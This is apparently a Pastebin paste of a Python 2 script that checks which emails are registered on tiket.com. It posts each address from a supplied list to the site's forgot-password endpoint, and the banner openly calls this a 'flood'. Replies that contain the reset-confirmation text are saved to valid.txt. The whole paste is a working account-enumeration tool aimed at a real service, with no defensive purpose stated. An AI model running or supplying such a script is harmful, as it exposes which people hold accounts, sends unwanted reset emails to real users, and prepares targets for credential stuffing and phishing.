Advertisement
LOoLzeC

[Python] tiket.com Valid Email Checker.py

Oct 25th, 2018
1,377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. from requests import get,post
  2. import threading
  3. W = '\033[1;37m'
  4. N = '\033[0m'
  5. R = '\033[31m'
  6. G = '\033[1;32m'
  7. B = '\033[34m'
  8. class banner:
  9. print(W+"[+-------------------------------------------------+]")
  10. print("[+ tiket.com valid email checker +]")
  11. print("[+ Created by deray +]")
  12. print("[+ Proff : forgot password verification [flood] +]")
  13. print("[+-------------------------------------------------+]")
  14. class checker():
  15. def __init__(self):
  16. self.reqUri="https://m.tiket.com/auth/forget_password"
  17. self.reqMailist=raw_input('\n[+] mailist : ')
  18. print("[*] started ...")
  19. print("[*] valid email saved to : valid.txt")
  20. self.openReqMailist=open(self.reqMailist).readlines()
  21. self.main()
  22. def main(self):
  23. valid=open('valid.txt','w')
  24. for email in self.openReqMailist:
  25. reqPayload={"txtEmail":email.split('\n')[0],"btnSubmit":"forget_password","submit":"Kirim"}
  26. kirim=post(self.reqUri,data=reqPayload).text
  27. if "mohon periksa kotak masuk anda." in kirim:
  28. print(W+"[+] valid njenk -> %s%s"%(G,email.split('\n')[0]))
  29. valid.write(email.split('\n')[0]+"\n")
  30. else:
  31. print(W+"[-] gak valid -> %s%s%s"%(W,R,email.split('\n')[0]))
  32. print(B+"[*] "+W+"Finished.")
  33. valid.close()
  34. t=threading.Thread(target=checker)
  35. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement